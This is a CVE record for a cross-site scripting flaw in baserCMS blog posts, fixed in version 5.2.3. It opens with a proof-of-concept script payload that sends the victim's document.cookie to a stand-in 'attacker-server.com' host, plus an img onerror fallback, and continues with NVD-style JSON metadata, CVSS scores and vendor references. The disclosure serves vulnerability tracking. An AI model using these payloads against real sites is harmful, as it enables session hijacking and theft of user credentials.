CVE-2026-30879

<!-- PoC for baserCMS Blog Post XSS --> <!-- Attacker injects the following payload into the blog post content --> <script> // Demonstrate execution alert('XSS Vulnerability CVE-2026-30879'); // Exfiltrate document cookie to an external server controlled by attacker var img = new Image(); img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(document.cookie); document.body.appendChild(img); </script> <!-- Alternative payload using img tag if script tags are filtered --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-30879", "sourceIdentifier": "[email protected]", "published": "2026-03-31T01:16:36.127", "lastModified": "2026-04-01T20:27:36.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has a cross-site scripting vulnerability in blog posts. This issue has been patched in version 5.2.3."}, {"lang": "es", "value": "baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.2.3, baserCMS tiene una vulnerabilidad de cross-site scripting en las publicaciones de blog. Este problema ha sido parcheado en la versión 5.2.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.3", "matchCriteriaId": "07DEEEF3-0621-431D-8A38-405EDBD0957E"}]}]}], "references": [{"url": "https://basercms.net/security/JVN_20837860", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-jmq3-x8q7-j9qm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}